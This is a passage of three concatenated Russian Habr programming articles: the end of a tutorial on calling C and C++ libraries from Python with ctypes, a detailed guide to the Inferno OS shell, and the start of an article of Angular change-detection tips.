int func\_ret\_int(int val);
double func\_ret\_double(double val);
char \*func\_ret\_str(char \*val);
char func\_many\_args(int val1, double val2, char val3, short val4);
#ifdef \_\_cplusplus
}
#endif
#endif /\* \_TEST\_H\_ \*/
```
Как компилировать :
```
gcc -fPIC -shared -o libtest.so test.c
```
Исходник компилируется в динамическую библиотеку и готов к бою.
Переходим к Python. В примере показывается как передать аргументы функции, получить результат работы от функции, а так же как получить и изменить значения глобальных переменных.
main.py:
```
#!/usr/bin/python3
#-*- coding: utf-8 -*-
import ctypes
# Загрузка библиотеки
test = ctypes.CDLL('./objs/libtest.so')
##
# Работа с функциями
##
# Указываем, что функция возвращает int
test.func_ret_int.restype = ctypes.c_int
# Указываем, что функция принимает аргумент int
test.func_ret_int.argtypes = [ctypes.c_int, ]
# Указываем, что функция возвращает double
test.func_ret_double.restype = ctypes.c_double
# Указываем, что функция принимает аргумент double
test.func_ret_double.argtypes = [ctypes.c_double]
# Указываем, что функция возвращает char *
test.func_ret_str.restype = ctypes.c_char_p
# Указываем, что функция принимает аргумент char *
test.func_ret_str.argtypes = [ctypes.POINTER(ctypes.c_char), ]
# Указываем, что функция возвращает char
test.func_many_args.restype = ctypes.c_char
# Указываем, что функция принимает аргументы int, double. char, short
test.func_many_args.argtypes = [ctypes.c_int, ctypes.c_double, ctypes.c_char, ctypes.c_short]
print('ret func_ret_int: ', test.func_ret_int(101))
print('ret func_ret_double: ', test.func_ret_double(12.123456789))
# Необходимо строку привести к массиву байтов, затем полученный массив байтов приводим к строке.
print('ret func_ret_str: ', test.func_ret_str('Hello!'.encode('utf-8')).decode("utf-8") )
print('ret func_many_args: ', test.func_many_args(15, 18.1617, 'X'.encode('utf-8'), 32000).decode("utf-8"))
print()
##
# Работа с переменными
##
# Указываем, что переменная типа int
a = ctypes.c_int.in_dll(test, "a")
print('ret a: ', a.value)
# Изменяем значение переменной.
a.value = 22
a = ctypes.c_int.in_dll(test, "a")
print('ret a: ', a.value)
# Указываем, что переменная типа double
b = ctypes.c_double.in_dll(test, "b")
print('ret b: ', b.value)
# Указываем, что переменная типа char
c = ctypes.c_char.in_dll(test, "c")
print('ret c: ', c.value.decode("utf-8"))
```
Все возможные типы данных и их обозначения можно посмотреть в [документации](https://docs.python.org/3/library/ctypes.html) Python.
#### Работа со структурами
C — объявление структуры в test.h:
```
typedef struct test_st_s test_st_t;
struct test_st_s {
int val1;
double val2;
char val3;
};
```
Функция по работе с нашей структурой:
```
test_st_t *
func_ret_struct(test_st_t *test_st) {
if (test_st) {
printf("C get test_st: val1 - %d, val2 - %f, val3 - %c\n", test_st->val1, test_st->val2, test_st->val3);
}
return test_st;
}
```
Python:
```
import sys
import struct
# Объявляем структуру в Python аналогичную в C
class test_st_t(ctypes.Structure):
_fields_ = [('val1', ctypes.c_int),
('val2', ctypes.c_double),
('val3', ctypes.c_char)]
# Указываем, что функция возвращает test_st_t *
test.func_ret_struct.restype = ctypes.POINTER(test_st_t)
# Указываем, что функция принимает аргумент void *
test.func_ret_struct.argtypes = [ctypes.c_void_p]
# Создаем структуру
test_st = test_st_t(19, 3.5, 'Z'.encode('utf-8'))
# Python None == Null C
ret = test.func_ret_struct(None)
print('ret func_ret_struct: ', ret) # Если передали None, то его и получим назад
ret = test.func_ret_struct(ctypes.byref(test_st))
# Полученные данные из C
print('ret val1 = {}\nret val2 = {}\nret val3 = {}'.format(ret.contents.val1, ret.contents.val2, ret.contents.val3.decode("utf-8")))
```
C++
---
Здесь немного сложнее, т.к. **ctypes** может только работать с **C** функциями. Это для нас не проблема, просто C обвяжем код C++.
Методы класса C++ и обвязка на C:
```
#include "test.hpp"
/*
* Методы класса
*/
std::string test::ret_str(std::string val) {
std::cout << "get ret_str: " << val << std::endl;
return val;
}
int test::ret_int(int val) {
std::cout << "get ret_int: " << val << std::endl;
return val;
}
double test::ret_double(double val) {
std::cout << "get ret_double: " << val << std::endl;
return val;
}
/*
* Обвязка C для методов класса C++
*/
// Создаем класс test, и получаем указатель на него.
test *test_new() {
return new test();
}
// Удаляем класс test.
void test_del(test *test) {
delete test;
}
/*
* Вызов методов класса.
*/
// Обертка над методом ret_str
char *test_ret_str(test *test, char *val) {
// char * к std::string
std::string str = test->ret_str(std::string(val));
// std::string к char *
char *ret = new char[str.length() + 1];
strcpy(ret, str.c_str());
return ret;
}
// Обертка над методом ret_int
int test_ret_int(test *test, int val) {
return test->ret_int(val);
}
// Обертка над методом ret_double
double test_ret_double(test *test, double val) {
return test->ret_double(val);
}
/*
* Получение переменных класса.
*/
// Обертка для получения a
int test_get_a(test *test) {
return test->a;
}
// Обертка для получения b
double test_get_b(test *test) {
return test->b;
}
// Обертка для получения c
char test_get_c(test *test) {
return test->c;
}
```
Но есть один нюанс, обвязку надо объявить как **extern C**. Чтобы ++ компилятор не перегрузил имена функций обвязки. Если он это сделает, то мы не сможем через ctypes работать с нашими функциями.
test.hpp:
```
#include
#include
class test {
public:
int a = 5;
double b = 5.12345;
char c = 'X';
std::string ret\_str(std::string val);
int ret\_int(int val);
double ret\_double(double val);
};
#ifdef \_\_cplusplus
extern "C" {
#endif
test \*test\_new();
void test\_del(test \*test);
char \*test\_ret\_str(test \*test, char \*val);
int test\_ret\_int(test \*test, int val);
double test\_ret\_double(test \*test, double val);
int test\_get\_a(test \*test);
double test\_get\_b(test \*test);
char test\_get\_c(test \*test);
#ifdef \_\_cplusplus
}
#endif
```
Как компилировать :
```
g++ -fPIC -shared -o libtestpp.so test.cpp
```
С Python все так же просто.
```
# Загрузка библиотеки
testpp = ctypes.CDLL('./objs/libtestpp.so')
# Указываем, что функция возвращает указатель
testpp.test_new.restype = ctypes.c_void_p
# Создание класса test
test = testpp.test_new()
##
# Работа с методами
##
# Указываем, что функция возвращает char *
testpp.test_ret_str.restype = ctypes.c_char_p
# Указываем, что функция принимает аргумент void * и char *
testpp.test_ret_str.argtypes = [ctypes.c_void_p, ctypes.c_char_p]
# Указываем, что функция возвращает int
testpp.test_ret_int.restype = ctypes.c_int
# Указываем, что функция принимает аргумент void * и int
testpp.test_ret_int.argtypes = [ctypes.c_void_p, ctypes.c_int]
# Указываем, что функция возвращает double
testpp.test_ret_double.restype = ctypes.c_double
# Указываем, что функция принимает аргумент void * и double
testpp.test_ret_double.argtypes = [ctypes.c_void_p, ctypes.c_double]
print('Работа с методами:')
# В качестве 1-ого аргумента передаем указатель на наш класс
print('ret test_ret_str: ', testpp.test_ret_str(test, 'Hello!'.encode('utf-8')).decode("utf-8"))
print('ret test_ret_int: ', testpp.test_ret_int(test, 123))
print('ret test_ret_double: ', testpp.test_ret_double(test, 9.87654321))
##
# Работа с переменными
##
# Указываем, что функция возвращает int
testpp.test_get_a.restype = ctypes.c_int
# Указываем, что функция принимает аргумент void *
testpp.test_get_a.argtypes = [ctypes.c_void_p]
# Указываем, что функция возвращает double
testpp.test_get_b.restype = ctypes.c_double
# Указываем, что функция принимает аргумент void *
testpp.test_get_b.argtypes = [ctypes.c_void_p]
# Указываем, что функция возвращает char
testpp.test_get_c.restype = ctypes.c_char
# Указываем, что функция принимает аргумент void *
testpp.test_get_c.argtypes = [ctypes.c_void_p]
print('\nРабота с переменными:')
print('ret test_get_a: ', testpp.test_get_a(test))
print('ret test_get_b: ', testpp.test_get_b(test))
print('ret test_get_c: ', testpp.test_get_c(test).decode("utf-8"))
# Указываем, что функция принимает аргумент void *
testpp.test_del.argtypes = [ctypes.c_void_p]
# Удаляем класс
testpp.test_del(test)
```
Для подключения **C/C++** дополнительных библиотек к **python**-у:
```
ctypes.cdll.LoadLibrary('/abs/path/to/a.so')
ctypes.cdll.LoadLibrary('/abs/path/to/b.so')
```
Необходимо, если библиотека ./objs/libtestpp.so использует внутри себя функции из сторонних библиотек, например **a.so** & **b.so**. Без их подключения интерпретатор не знал бы где их искать.
Аналог подключения библиотек в **gcc**.
```
gcc -L/abs/path/to/ -la -lb test.c -o test
```
### Плюсы и минусы ctypes
**Плюсы**:
* Можно подключать любую скомпилированную **C** библиотеку
**Минусы**:
* В **Python** нужно описывать, что **C** функции возвращают и принимают в качестве аргументов.
Код постарался закомментировать понятно, чтобы здесь писать поменьше )
Надеюсь будет полезно.
Благодарность
-------------
[DollaR84](https://habr.com/ru/users/DollaR84/) за его помощь.
[Palich239](https://habr.com/ru/users/Palich239/) за найденные ошибки.
Ссылки
------
* [Исходные коды примеров](https://github.com/dvjdjvu/c_from_python)
* Способ через [**CFFI, pybind11**](https://habr.com/ru/post/468099/)
* Способ через [**C API**](https://habr.com/ru/post/469043/)
* [Python из C](https://habr.com/ru/post/466181/) | https://habr.com/ru/post/466499/ | null | ru | null |
# Inferno Shell
**FAQ:** [Что такое OS Inferno и зачем она нужна?](http://habrahabr.ru/post/145993/)
Оболочка ОС Инферно много лет вызывала у меня исключительно отрицательные эмоции. И я никогда не понимал, что в [Inferno sh вызывает восторг](http://debu.gs/entries/inferno-part-1-shell) у некоторых людей. Но, как говорится, лучше поздно чем никогда — сегодня я решил таки тщательно разобраться с шеллом, и в результате меня тоже проняло — это таки действительно уникальная вещь! Невероятно элегантная и простая.
Начну всё-таки с недостатков, для большей объективности. Главный — шелл очень медленный. Неизвестно почему, но все шеллы инферно (их вообще-то несколько, но сейчас речь про `/dis/sh.dis`) очень медленные. Это крайне странно, т.к. обычно скорость работы приложений написанных на Limbo (в JIT-режиме) находится между скоростью C и быстрых скриптовых языков вроде Perl. Поэтому полноценные приложения на `sh` писать не получится. Но, тем не менее, на каждый чих расчехлять Limbo тоже неудобно, так что всяческие стартовые скрипты и прочую мелочёвку всё-равно приходится писать на `sh`. Второй серьёзный недостаток — неудобство использования в текстовой консоли, отсутствие истории команд, автодополнения, удобного редактирования при вводе сильно раздражает (но мне только что рассказали про утилиту [rlwrap](http://utopia.knoware.nl/~hlub/uck/rlwrap/), запуск emu через `rlwrap -a`, похоже, способен решить эту проблему). Третий — синтаксис этого шелла необычен использованием непарных кавычек, что при попытке подсветить синтаксис его скриптов используя подсветку для абсолютно любого другого шелла (в связи с отсутствием готовой подсветки для инферновского) приводит к полному кошмару. Эту проблему я собирался решить сегодня, реализовав подсветку синтаксиса для vim, для чего и сел разбираться с шеллом… а в результате вместо подсветки синтаксиса не удержался, и пишу эту статью. :)
#### Содержание
* [Из чего же, из чего же, из чего же сделаны наши скрипты?](#whatinside)
* [Запуск приложений](#exec)
+ [Дополнительные перенаправления ввода-вывода команд](#redir)
+ [$status](#status)
* [Строки, списки строк, блоки команд](#strlistblock)
+ [Строка](#str)
+ [Блок команд](#block)
+ [Список строк](#list)
* [Переменные окружения](#var)
+ [/env](#env)
+ [Списки](#varlist)
+ [Области видимости](#scope)
+ [Ссылки на переменные](#ref)
* [Перехватываем вывод команд](#subst)
* [Встроенные команды](#builtin)
* [Добавляем if, for, функции](#impl)
+ [Делаем свои «функции»](#implfunc)
+ [Делаем свой for](#implfor)
* [Интересные мелочи](#misc)
* [Резюме](#resume)
#### Из чего же, из чего же, из чего же сделаны наши скрипты?
Функциональность, поддерживаемая `/dis/sh.dis` «из коробки» впечатляет! Нет даже условных операторов и циклов! Нет функций. А что тогда есть, и как в этих условиях можно существовать? Сейчас увидите. Итак, что есть:
* запуск приложений (включая конвейеры и перенаправление ввода/вывода)
* строки, списки строк, блоки команд
* переменные окружения
* шаблоны имён файлов (\*, ?, […])
* и немного встроенных команд и команд для работы со строками
Наверное, увидев последний пункт вы подумали «Ага! Какие-то специальные команды. Наверняка всё остальное делают они, всё банально.»… но нет, вы не угадали. Из встроенных команд используются обычно три: `exit`, `run` и `load`; а часто используемые команды для работы со строками это `quote` и `unquote`. Что касается `run`, то она просто выполняет указанный скрипт в текущем шелле (аналог `.` или `source` в bash).
А вот `load` — да, это бомба! Она позволяет подгружать в текущий шелл дополнительные модули, которые пишутся на Limbo и позволяют добавить к шеллу абсолютно любую функциональность — if, for, функции, исключения, регулярные выражения, математические операции, и т.д. и т.п. Ещё есть команда `unload`, позволяющая динамически эти модули выгружать. :) Тем не менее, даже без подгружаемых модулей шелл абсолютно полноценен и функционален — что я и докажу в конце статьи реализовав на «голом sh» if и for!
Ой, кое что ещё я забыл упомянуть. (Думаете, теперь-то точно «ага!»? Не-а.) Комментарии он ещё поддерживает. Начинающиеся с `#`. :)
#### Запуск приложений
Многое идентично любому \*nix шеллу:
* запускает приложения (`.dis` файлы) и скрипты (файлы, в которых первая строка это [shebang](https://en.wikipedia.org/wiki/Shebang_(Unix)) `#!`)
* команды разделяются `;`
* запуск команд в фоне через `&`
* конвейеры команд через `|`
* перенаправления stdin/stdout через `>`, `>>` и `<`
```
; echo one two | wc
1 2 8
```
Но есть и отличия.
##### Дополнительные перенаправления ввода-вывода команд
* указание файлового дескриптора (для перенаправления stderr или открытия дополнительных дескрипторов плюс к 0, 1 и 2 доступным по умолчанию)
+ `cmd stdout.txt >[2]stderr.txt`
+ `cmd >[1=2]` (перенаправление stdin в stderr)
+ `cmd <[3]file.txt` (команда запускается с дополнительным файловым дескриптором 3 открытым на чтение из файла)
+ `cmda |[2] cmdb` (вместо stdout первой команды на вход конвейера отправляется её stderr, а stdout выводится просто на экран)
+ `cmda |[1=2] cmdb` (в конвейер снова отправляется stderr, а не stdout cmda, но подключается он не к stdin, а к stdout cmdb — который открывается на чтение, а не запись, разумеется)
* открытие одновременно на чтение и запись
+ `cmd <>in_pipe <>[1]out_pipe` (stdin и stdout открыты одновременно на чтение и запись в разные файлы)
* нелинейные конвейеры
+ `cmd <{первый;блок;команд} >{второй;блок;команд}` (оба блока команд запускаются параллельно с cmd, при этом cmd получает два параметра — имена файлов а-ля `/fd/номер`, которые подключены через pipe к stdout первого блока команд и stdin второго блока команд)
Последняя фича особо интересна. Например, стандартная команда сравнения двух файлов `cmp` с её помощью может сравнить не файлы, а результаты работы двух других команд: `cmp <{ ls /dir1 } <{ ls /dir2 }`.
##### $status
В инферно необычный подход к реализации кода завершения (exit status) приложения. В традиционных ОС любая программа завершается числом: 0 если всё в порядке, и любым другим при ошибке. В инферно любая программа либо просто завершается (если всё в порядке), либо генерирует исключение, значение которого это строка с текстом ошибки.
Принято соглашение, по которому эта строка должна начинаться на «fail:» если это ошибка штатная — т.е. приложение не «упало», а просто хочет выйти вернув эту ошибку тому, кто это приложение запустил (обычно это шелл). Eсли ошибка не начинается на «fail:», то после завершения приложения его процесс останется в памяти (в состоянии «broken»), чтобы его можно было исследовать отладчиками и выяснить, почему возникло это исключение (аналог core dump-ов, только вместо сохранения на диск они висят в памяти).
Так вот, после завершения запущенной команды её «код выхода» — т.е. текст ошибки-исключения будет находится в переменной окружения `$status` (префикс «fail:» из него будет автоматически удалён, если текст исключения кроме «fail:» больше ничего не содержал, то в `$status` будет строка «failed»).
#### Строки, списки строк, блоки команд
Инферновский шелл оперирует **только** строками и списками строк.
##### Строка
Строка это либо слово не содержащее пробелов и некоторых спец-символов, либо любые символы заключённые в одинарные кавычки. Единственный «экранируемый» символ в такой строке — сама одинарная кавычка, и записывается он двумя такими кавычками:
```
; echo 'quote '' <-- here'
quote ' <-- here
```
Никаких \n, \t, интерполяции переменных и т.п. в строках не поддерживается. Если в строку нужно вставить символ перевода строки — либо просто вставляете его as is (нажав Enter), либо конкатенируете строку с переменной, содержащей этот символ. В инферно есть утилитка [unicode(1)](http://powerman.name/Inferno/man/1/unicode.html) которая умеет выводить любой символ по его коду, вот с её помощью это и делается (конструкция `"{команда}` описана ниже, а пока считайте это аналогом ``команда`` bash-а):
```
; cr="{unicode -t 0D}
; lf="{unicode -t 0A}
; tab="{unicode -t 09}
; echo -n 'a'$cr$lf'b'$tab'c' | xd -1x
0000000 61 0d 0a 62 09 63
0000006
```
Двойные кавычки для строк не используются (кстати, *парные* двойные кавычки в инферновском шелле не используются ни для чего вообще).
##### Блок команд
Блок команд записывается внутри фигурных скобок, и весь блок обрабатывается шеллом как **одна строка** (включающая символы фигурных скобок).
```
; { echo one; echo two }
one
two
; '{ echo one; echo two }'
one
two
```
Единственное отличие от строки в одинарных кавычках заключается в том, что `sh` проверяет синтаксис блоков команд и переформатирует их в более компактные строки.
```
; echo { cmd | }
sh: stdin: parse error: syntax error
; echo { cmd | cmd }
{cmd|cmd}
; echo {
echo one
echo two
}
{echo one;echo two}
```
##### Список строк
Списки строк это просто ноль и более строк разделённых пробельными символами. Их можно заключать в круглые скобки, но в абсолютном большинстве случаев это не обязательно.
Любая команда шелла это **просто список строк**, где первая строка содержит команду либо блок кода, а остальные строки параметры для них.
```
; echo one two three
one two three
; echo (one two) (three)
one two three
; (echo () (one (two three)))
one two three
; ({echo Hello, $1!} World)
Hello, World!
```
Для конкатенации списков строк используется оператор `^`. Его можно применять двум спискам содержащим либо одинаковое количество элементов (тогда элементы конкатенируются попарно), либо один из списков должен содержать только один элемент, тогда он будет конкатенирован с каждым элементом второго списка. Как частный случай, если оба списка содержат только по одному элементу — получается обычная конкатенация двух строк.
```
; echo (a b c) ^ (1 2 3)
a1 b2 c3
; echo (a b) ^ 1
a1 b1
; echo 1 ^ (a b)
1a 1b
; echo a ^ b
ab
```
Обычно одна команда шелла должна быть записана в одну строку — никаких спец.символов для обозначения «продолжения команды на следующей строке» нет. Но разбить команду на несколько строк очень просто и без этого — достаточно на предыдущей строке открыть и не закрыть строку (одинарной кавычкой) или блок команд (фигурной скобкой) или список строк (круглой скобкой), либо завершить предыдущую строку оператором конкатенации списков.
#### Переменные окружения
Работа с переменными в инферновском шелле выглядит обманчиво похоже на традиционные шеллы, но не дайте себя этим обмануть!
```
; a = 'World'
; echo Hello, $a!
Hello, World!
```
##### /env
Переменные окружения в ОС Инферно реализованы иначе, чем в традиционных ОС. Вместо введения дополнительного POSIX API для работы с переменными окружения и передачи их каждому процессу через кошмар вроде `int execvpe(const char *file, char *const argv[], char *const envp[]);` переменные окружения это просто файлы в каталоге `/env`. Это даёт любопытные возможности, например приложение может предоставить доступ к своим переменным окружения другим приложениями по сети — просто экспортировав (через [listen(1)](http://powerman.name/Inferno/man/1/listen.html) и [export(4)](http://powerman.name/Inferno/man/4/export.html)) свой `/env`.
Можно создавать/удалять/изменять переменные окружения создавая, удаляя и изменяя файлы в `/env`. Но стоит учитывать, что текущий sh держит в памяти копию всех переменных окружения, поэтому изменения сделанные через файлы в `/env` увидят запускаемые приложения, но не текущий sh. С другой стороны, изменяя переменные обычным для шелла способом (через оператор `=`) вы автоматически обновляете файлы в `/env`.
Имена переменных шелла могут содержать любые символы, в т.ч. такие, которые недопустимы для имён файлов (например имена `.`, `..` и содержащие `/`). Переменные с такими именами будут доступны только в текущем sh, и запускаемые приложения их не увидят.
##### Списки
Ещё одно важное отличие — все переменные содержат **только списки строк**. Вы не можете положить в переменную одну строку — это всегда будет список из одной строки.
Сохранение в переменную пустого списка (явно через присваивание `a=()` или неявно через `a=`) — это удаление переменной.
* `$var` это получение списка строк из переменной var, и в ней этих строк может быть ноль, одна или несколько
* `$#var` это получение количества элементов в списке строк `$var`
* `$"var` это конкатенация всех элементов списка строк из `$var` в одну строку (через пробел)
```
; var = 'first str' second
; echo $var
first str second
; echo $#var
2
; echo $"var
first str second
```
Как видите, результат вывода `$var` и `$"var` визуально не отличается, т.к. `echo` выводит все свои параметры через пробел, и `$"` тоже объединяет все элементы переменной через пробел. Но первая команда `echo` получила два параметра, а последняя — один.
Всегда, когда вы как-бы неявно конкатенируете значение переменной с чем либо — шелл вставляет оператор конкатенации `^` (который, как вы помните, работает со списками строк, а не строками). Это удобно, хотя с непривычки может оказаться неожиданным:
```
; flags = a b c
; files = file1 file2
; echo -$flags $files.b
-a -b -c file1.b file2.b
; echo { echo -$flags $files.b }
{echo -^$flags $files^.b}
```
Присваивание в список переменных тоже работает. Если в правой части список из большего количества элементов, чем переменных в левой части — последняя переменная получит остаток списка, а в предыдущих переменных будет в каждой по одному элементу.
```
; list = a b c d
; (head tail) = $list
; echo $head
a
; echo $tail
b c d
; (x y) = (3 5)
; (x y) = ($y $x)
; echo 'x='^$x 'y='^$y
x=5 y=3
```
Список всех параметров скрипта или любого блока кода находится в переменной `$*`, плюс отдельные параметры находятся в переменных `$1`, `$2`, ….
##### Области видимости
Каждый блок кода образует свою область видимости. Значения переменным можно присваивать операторами `=` и `:=`. Первый изменит значение существующей переменной либо создаст новую переменную в текущей области видимости. Второй всегда создаёт новую переменную, перекрывая старое значение переменной с этим именем (если она существовала) до конца текущего блока.
```
; a = 1
; { a = 2 ; echo $a }
2
; echo $a
2
; { a := 3; echo $a }
3
; echo $a
2
; { b := 4; echo $b }
4
; echo b is $b
b is
```
##### Ссылки на переменные
Имя переменной — это просто строка после символа `$`. И она может быть любой строкой — в одинарных кавычках или другой переменной.
```
; 'var' = 10
; echo $var
10
; ref = 'var'
; echo $$ref
10
; echo $'var'
10
; echo $('va' ^ r)
10
```
#### Перехватываем вывод команд
Вообще-то эта тема относится скорее к разделу описывающему запуск команд, но, чтобы было понятно о чём речь, нужно было сначала описать работу со списками строк, поэтому пришлось её отложить до текущего момента.
Встречайте те самые непарные кавычки, которые вечно ломают подсветку синтаксиса.
* ``{команда}` (выполняет команду, и возвращает то, что она вывела на stdout в виде списка строк; элементы списка разделяются используя значение переменной `$ifs`; если она не определена, то считается, что в ней строка из трёх символов: пробел, табуляция и перевод строки)
* `"{команда}` (выполняет команду, и возвращает то, что она вывела на stdout в виде одной строки — конкатенации всех строк выведенных командой)
В качестве примера загрузим список файлов через вызов `ls`. Учитывая, что имена файлов могут содержать пробелы, стандартное поведение ``{}` нам не подойдёт — нам необходимо разделять элементы списка только по переводу строки.
```
; ifs := "{unicode -t 0A}
; files := `{ ls / }
; echo $#files
82
; ls / | wc -l
82
```
Но вообще-то это делается проще и надёжнее через шаблоны имён файлов, которые разворачиваются шеллом в список имён файлов:
```
; files2 := /*
; echo $#files2
82
```
#### Встроенные команды
Встроенные команды бывают двух типов: обычные и для работы со строками.
Обычные команды вызываются так же, как запускаются приложения/скрипты:
```
; run /lib/sh/profile
; load std
; unload std
; exit
```
Команды для работы со строками вызываются через `${команда параметры}` и возвращают (не выводят на stdout, а именно возвращают — как это делает например обращение к значению переменной) обычную строку — т.е. их нужно использовать в параметрах обычных команд или в правой части присваивания значений в переменные. Например, команда `${quote}` экранирует переданный ей список строк в одну строку, а `${unquote}` выполняет обратную операцию превращая одну строку в список строк.
```
; list = 'a b' c d
; echo $list
a b c d
; echo ${quote $list}
'a b' c d
; echo ${unquote ${quote $list}}
a b c d
```
#### Добавляем if, for, функции
Как я и обещал, показываю как сделать свои реализации этих крайне нужных вещей на «голом sh». Конечно, в реальной жизни этого делать не требуется, подгружаемый модуль *std* предоставляет всё, что необходимо, и пользоваться этим намного удобнее. Но, тем не менее, эта реализация представляет интерес как демонстрация возможностей «голого sh».
Всё реализуется используя исключительно:
* переменные
* строки и списки строк
* блоки кода и их параметры
##### Делаем свои «функции»
Как я уже упоминал, любая команда шелла это просто список строк, где первая строка это команда, а остальные строки её параметры. А блок команд шелла это просто строка, и её можно сохранить в переменной. И параметры любой блок команд получает в `$*`, `$1`, etc.
```
; hello = { echo Hello, $1! }
; $hello World
Hello, World!
```
Более того, мы даже можем сделать каррирование функций в лучшем духе функционального программирования. :)
```
; greet = {echo $1, $2!}
; hi = $greet Hi
; hello = $greet Hello
; $hi World
Hi, World!
; $hello World
Hello, World!
```
Ещё один пример — можно использовать параметры блока чтобы получить нужный элемент списка по номеру:
```
; list = a b c d e f
; { echo $3 } $list
c
```
##### Делаем свой for
Полноценный удобный if я делать не пытался, мне было интересно реализовать for, а if я сделал минимально функциональный т.к. он был необходим для for (цикл ведь надо когда-то остановить, и без if это сделать проблематично).
```
; do = { $* }
; dont = { }
; if = {
(cmd cond) := $*
{ $2 $cmd } $cond $do $dont
}
; for = {
(var in list) := $*
code := $$#*
$iter $var $code $list
}
; iter = {
(var code list) := $*
(cur list) := $list
(next unused) := $list
$if {$var=$cur; $code; $iter $var $code $list} $next
}
; $for i in 10 20 30 { echo i is $i }
i is 10
i is 20
i is 30
;
```
#### Интересные мелочи
По умолчанию шелл при запуске скрипта форкает namespace, таким образом скрипт не может изменить namespace процесса, который его запустил. Это не подходит скриптам, чья задача как раз настройка namespace своего родителя. Такие скрипты должны начинаться на `#!/dis/sh -n`.
Встроенная команда `loaded` выводит список всех встроенных команд из всех загруженных модулей. А встроенная команда `whatis` выводит информацию по переменным, функциям, командам, etc.
Если создать переменную `$autoload` со списком модулей шелла, то эти модули будут автоматически загружаться в каждый запускаемый шелл.
В шелле есть поддержка синтаксического сахара: `&&` и `||`. Эти операторы доступны в «голом sh», но преобразуются в вызов встроенных команд `and` и `or`, которых в «голом sh» нет, они из модуля *std* (так что использовать `&&` и `||` можно только после `load std`).
```
; echo { cmd && cmd }
{and {cmd} {cmd}}
; echo { cmd || cmd }
{or {cmd} {cmd}}
```
Приложения написанные на Limbo получив, например, при запуске параметром командной строки строку с блоком команд sh могут очень просто её выполнить используя модуль [sh(2)](http://powerman.name/Inferno/man/2/sh.html).
Стиль работы шелла с переменными и списками строк приводит к тому, что, в отличие от традиционных шеллов, в инферно думать об экранировании параметров и значений переменных приходится только один раз — когда они впервые упоминаются. А дальше их можно передавать куда и как угодно не думая о том, какие в них символы.
#### Резюме
Эта небольшая статья — практически полный reference guide по инферновскому шеллу. В смысле, описана вся функциональность базового шелла, и довольно подробно — со всеми нюансами и примерами. Если вы прочитаете [sh(1)](http://powerman.name/Inferno/man/1/sh.html), то увидите, что я не упомянул разве что переменные `$apid`, `$prompt`, пару-тройку встроенных команд, опции самого `sh` да полный список спец.символов, которые нельзя использовать в строках вне одинарных кавычек.
Если не брать довольно продвинутые возможности по перенаправлению ввода/вывода, то используя всего лишь:
* строки с тривиальнейшими правилами экранирования
* блоки команд (а по сути это просто те же строки)
* списки строк с одним оператором `^`
* переменные с одним оператором `=`
* обращение к переменным через `$var`, `$#var` и `$"var`
реализован вполне полноценный шелл! Полноценный даже в «голом» виде, что убедительно доказано возможностью реализовать на нём функции, if и for (и ещё я придумал, как сделать аналог команды raise из модуля *std* — т.е. аналог традиционной `/bin/false` :) но это хак через `run` и в статью я его включать не стал).
А когда мы к нему начинаем подгружать модули, возможности и удобство использования шелла повышается на порядок. К примеру, тот же модуль [sh-std(1)](http://powerman.name/Inferno/man/1/sh-std.html) добавляет:
* несколько условных операторов (`and`, `or`, `if`)
* команды для сравнения и проверки условий (`!`, `~`, `no`)
* несколько операторов цикла (`apply`, `for`, `while`, `getlines`)
* функции обоих видов (`fn`, `subfn`)
* работу с исключениями и статусом (`raise`, `rescue`, `status`)
* работу со строками и списками (`${hd}`, `${tl}`, `${index}`, `${split}`, `${join}`)
* etc.
Но все эти дополнительные команды никак не усложняют синтаксис самого шелла, он остаётся таким же тривиальным и элегантным! | https://habr.com/ru/post/161859/ | null | ru | null |
# 5 советов для прокачки своих навыков в Angular
Этим летом мы с [Ромой](https://habr.com/ru/users/MarsiBarsi/) запустили серию твитов с полезными советами и приемами по Angular. Сообщество тепло встретило эту инициативу, и я решил написать обобщающую статью.
Вот мои 5 рекомендаций, которыми хочется поделиться с разработчиками. Эти советы будут подкреплены конкретными примерами из [моего твиттера](https://twitter.com/Waterplea). Они помогут вам поднять свои навыки или как минимум дадут пару практических приемов.
1. Разберитесь в работе механизма проверки изменений
----------------------------------------------------
В интернете множество отличных углубленных статей про проверку изменений в Angular. Например, [вот эта.](https://habr.com/ru/post/327004/) Так что давайте просто освежим основы и перейдем к советам.
### Основы
В Angular два режима проверки изменений: `Default` и `OnPush`. Первый запускает проверку на каждый ***tick*** внутри приложения. Этим управляет *Zone.js*, которая патчит все асинхронные операции вроде подписок на события и промисов. Второй режим помечает view для проверки, только если в нем случилось слушаемое событие или изменились входные данные.
### Default vs OnPush
По правде говоря, вряд ли есть причины использовать режим `Default`. Просто пишите код так, как задумано принципами фреймворка, и вы не попадете в неприятности с `OnPush`. Это означает **никогда не мутировать данные**. Если ваши входные объекты или массивы немутабельные, `OnPush` подцепит изменения и обновит вью.
Подписки на события через `@HostListener` Angular заметит и в `OnPush`. Но что делать, если вы используете RxJS? Всегда можно заинжектить `ChangeDetectorRef` и вызвать `markForCheck()`, когда потребуется. Декларативным решением тут будет `async` пайп, если стрим в итоге доходит до шаблона. Он сам запустит проверку и возьмет на себя отписку.
Вам наверняка попадался такой паттерн:
```
…
```
Но что делать, если вам важны также **falsy**-результаты? Можно выкинуть всю логику на условие из ngIf и сделать свою простую структурную директиву. Она будет использоваться, только чтобы объявить контекст для вложенного вью:
Код
```
@Directive({
selector: "[ngLet]"
})
export class LetDirective {
@Input()
ngLet: T;
constructor(
@Inject(ViewContainerRef) container: ViewContainerRef,
@Inject(TemplateRef) templateRef: TemplateRef>
) {
container.createEmbeddedView(templateRef, new LetContext(this));
}
}
```
### NgZone
Если у вас нет возможности полностью перейти на `OnPush`, можно провести оптимизации. Заинжектите `NgZone` и выполняйте нагруженные операции в `.runOutsideAngular()`. Таким образом не будет возникать лишних тиков в механизме проверки изменений. Даже компоненты в режиме `Default` не будут реагировать на эти операции. Это уместно делать для частых событий, таких как `mousemove` или `scroll`. Это можно сделать декларативно в RxJS-стримах с помощью двух операторов: один — для выхода из зоны, другой — для возврата в нее, чтобы запустить проверку изменений:
Код
```
class ZonefreeOperator implements Operator {
constructor(private readonly zone: NgZone) {}
call(observer: Observer, source: Observable): TeardownLogic {
return this.zone.runOutsideAngular(
() => source.subscribe(observer)
);
}
}
export function zonefull(zone: NgZone): MonoTypeOperatorFunction {
return map(value => zone.run(() => value));
}
export function zonefree(zone: NgZone): MonoTypeOperatorFunction {
return source => source.lift(new ZonefreeOperator(zone));
}
```
